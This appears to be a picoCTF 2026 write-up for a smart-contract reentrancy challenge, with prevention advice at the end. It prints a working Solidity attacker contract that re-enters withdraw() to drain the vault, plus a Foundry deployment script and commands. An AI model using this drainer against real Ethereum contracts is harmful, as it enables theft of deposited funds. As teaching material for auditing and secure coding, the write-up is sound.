Skip to main content

Reentrance picoCTF 2026 Solution

The vault sends ETH before updating its balance, so an attacker contract re-entering from its fallback drains it.

Published: March 20, 2026Updated: September 20, 2026

Description

The lead developer at SecureBank Corp is back. He claims he's patched the vault and created the ultimate, unhackable Ethereum contract. Your mission: Drain the vault down to 0 and force the contract to surrender the flag. Contract: here

Download and read VulnBank.sol to understand the contract's withdraw logic.
Set up a Foundry or Hardhat environment to deploy and interact with the contract.
bash
cat VulnBank.sol

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Identify the reentrancy vulnerability
    Observation
    withdraw() sends the ETH before decrementing the balance, which inverts checks-effects-interactions. A malicious fallback can re-enter withdraw() while the balance is still stale.
    The contract sends ETH to the caller before updating the balance (checks-effects-interactions pattern violated). A malicious contract can call back into withdraw() in its receive() function before the balance is zeroed, draining all funds.
    Learn more

    Reentrancy is the bug class behind the 2016 DAO hack (~$60M ETH). It happens when a contract makes an external call before finishing its own state update. The external call hands control to the recipient, who can call back into the original function while balances are still stale.

    Walk the call stack. The vulnerable withdraw() looks roughly like: (1) check balances[msg.sender] >= amount, (2) msg.sender.call{value: amount}(""), (3) balances[msg.sender] -= amount. The .call in step 2 hands execution to the recipient's receive()/fallback. The fallback fires after the ETH transfer leaves the contract, but before control returns to step 3 to decrement the balance. Inside the fallback, a fresh call into withdraw() still sees the original balance, passes the check, and pulls another amount out. The stack unwinds bottom-up; every nested frame eventually decrements, but by then the funds are gone.

    The checks-effects-interactions pattern is the standard fix: validate (checks), mutate state (effects), then call external addresses (interactions). Applying balances[msg.sender] -= amount before .call means the recursive entry fails the balance check on the second call.

    The 2300-gas stipend. transfer() and send() forward exactly 2300 gas to the recipient. That covers an event log emit and a little arithmetic, but not the SSTORE a reentrant withdraw() has to perform (5,000 gas to modify an already-set slot), and not the value-bearing CALL it would make to send ETH back out (9,000 gas once the stipend is added). Raw .call{value: amount}("") forwards all remaining gas, which is why it is the dangerous primitive. Post-Istanbul the 2300 stipend is borderline for any real fallback logic, so most projects use .call plus a nonReentrant guard rather than relying on the stipend.

    See smart contract CTF bugs for the broader Solidity bug taxonomy.

  2. Step 2Write the attacker contract
    Observation
    Exploiting it needs a contract whose receive() calls back into withdraw(). Write an attacker that deposits, starts the recursive drain, and checks the target's remaining balance before each call so the stack does not overflow.
    Deploy an attacker contract that deposits ETH, then calls withdraw(). In its receive() fallback, it calls withdraw() again recursively until the vault is drained.
    js
    cat > Attacker.sol << 'EOF'
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    interface IVulnBank {
        function deposit() external payable;
        function withdraw(uint256 amount) external;
        function getFlag() external view returns (string memory);
    }
    
    contract Attacker {
        IVulnBank public target;
        uint256 public attackAmount;
    
        constructor(address _target) {
            target = IVulnBank(_target);
        }
    
        function attack() external payable {
            attackAmount = msg.value;
            target.deposit{value: msg.value}();
            target.withdraw(msg.value);
        }
    
        receive() external payable {
            if (address(target).balance >= attackAmount) {
                target.withdraw(attackAmount);
            }
        }
    
        function getFlag() external view returns (string memory) {
            return target.getFlag();
        }
    }
    EOF
    What didn't work first

    Tried: Putting the recursive withdraw() call in fallback() instead of receive(), expecting the fallback to trigger on ETH transfer

    receive() is what fires when ETH arrives with empty calldata. fallback() runs only when the calldata is non-empty, or when receive() is absent. Use fallback() and the hook never triggers: the attack deposits, withdraws once, and stops.

    Tried: Checking address(this).balance >= attackAmount instead of address(target).balance >= attackAmount in the receive() guard

    That reads the attacker's own accumulated ETH, not what the vault has left. The attacker's balance grows each iteration, so the loop runs long, hits the EVM's call-stack depth limit, and reverts the whole drain.

    Learn more

    The attacker contract leans on Solidity's receive() fallback. When VulnBank.withdraw() sends ETH to the attacker via .call, the EVM hands execution to receive() before withdraw() finishes. receive() calls back into withdraw(), which still sees the un-decremented balance.

    The if (address(target).balance >= attackAmount) guard bounds recursion. Each nested withdraw drains attackAmount from the target. Once the target's balance drops below attackAmount, the next iteration would fail the bank's own balance check (or revert on transfer), so we stop early. The recursion depth is target_balance / attackAmount, capped well under the EVM's ~1024-frame call stack limit.

    A minimal Foundry deploy script:

    // Attack.s.sol
    import "forge-std/Script.sol";
    import "./Attacker.sol";
    
    contract AttackScript is Script {
        function run() external {
            vm.startBroadcast();
            Attacker attacker = new Attacker(VULN_BANK_ADDRESS);
            attacker.attack{value: 1 ether}();
            vm.stopBroadcast();
        }
    }

    Deploy with forge script Attack.s.sol --rpc-url $RPC --private-key $PK --broadcast. Foundry (Rust-based) has largely replaced Hardhat/Truffle in security research because forge test runs Solidity-native fuzzing and invariants in milliseconds.

  3. Step 3Deploy, attack, and read the flag
    Observation
    getFlag() only returns once the vault balance hits zero. Broadcast the attacker with Foundry, let the drain finish, then read the flag.
    Deploy the attacker contract, call attack() with some ETH, and once the vault is drained, call getFlag() to retrieve the flag.
    bash
    # Using Foundry:
    bash
    forge script Attack.s.sol --rpc-url RPC_URL --private-key PRIVATE_KEY --broadcast
    bash
    cast call ATTACKER_ADDR 'getFlag()(string)' --rpc-url RPC_URL

    Expected output

    picoCTF{UpDaTe_St4ate5_1st_...}
    What didn't work first

    Tried: Calling getFlag() on the VulnBank contract address directly before the attacker contract has drained the vault

    getFlag() checks its win condition, a vault balance of zero, before returning anything, so calling it early gives an empty string or a revert. Read it after the attack succeeds, through the attacker contract so the caller context matches.

    Tried: Omitting --broadcast from the forge script command and wondering why no transactions appear on-chain

    Without --broadcast, Foundry simulates the script on a local fork and sends nothing. The output shows gas estimates and traces as though it worked, while the attacker was never deployed and the vault is untouched. The flag is what signs and sends the transactions.

    Learn more

    Foundry scripts are Solidity files that inherit from Script and use vm.startBroadcast() to submit real transactions to the network. The --broadcast flag tells Foundry to actually sign and send these transactions rather than just simulating them. The RPC URL points to the challenge's local or testnet Ethereum node.

    After the vault is drained, the contract's win condition is satisfied. Many CTF smart contract challenges use a pattern where isSolved() returns true once the exploit succeeds, and getFlag() returns the flag string only when the win condition is met. The flag is returned as a plain string from a view function, so cast call (which makes a read-only call, no gas required) is sufficient to retrieve it.

    In real-world smart contract auditing, finding and responsibly disclosing reentrancy vulnerabilities is highly valued. Audit firms like Trail of Bits, OpenZeppelin, and Certik charge substantial fees to review contracts for exactly these issues before deployment. The Ethereum ecosystem maintains a registry of known vulnerabilities and incident post-mortems at resources like SWC Registry (Smart Contract Weakness Classification) that mirrors the CVE database for blockchain security.

Interactive tools
  • Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
  • Number Base ConverterConvert numbers between binary, octal, decimal, and hexadecimal instantly. Enter any value and see all four bases update in real time.

Flag

Reveal flag

picoCTF{UpDaTe_St4ate5_1st_...}

Classic reentrancy attack: the contract sends ETH before updating state, allowing recursive withdrawal to drain the vault.

Key takeaway

Reentrancy works because an external call hands execution to the recipient before the calling contract finishes updating its own state. Any function that sends ETH before zeroing a balance can be re-entered from the recipient's fallback and drained in a loop. The fix is checks-effects-interactions, updating state before any external call, with a nonReentrant guard behind it. This class took $60M from The DAO in 2016 and still turns up in audits.

How to prevent this

Reentrancy drained $60M from The DAO in 2016 and is still in the top-3 Solidity bugs in 2026. The fix is mechanical.

  • Follow checks-effects-interactions: validate inputs, update state, then call external addresses. Setting balances[msg.sender] = 0 before msg.sender.call{value: amount}("") closes the bug.
  • Use OpenZeppelin's ReentrancyGuard as a defense-in-depth modifier. nonReentrant on every external function that does state changes + value transfers blocks recursive entry even if a developer forgets CEI.
  • Prefer pull-payment patterns, where users withdraw their own balances one at a time, over pushing ETH out mid-function. Do not lean on the 2300-gas stipend of transfer()/send(): gas costs have been repriced before (EIP-1884) and can break honest recipients, so current practice is .call behind CEI plus nonReentrant. Run Slither/Mythril/Echidna in CI; they flag reentrancy patterns automatically.

Related reading

Useful tools for Blockchain

Where to go next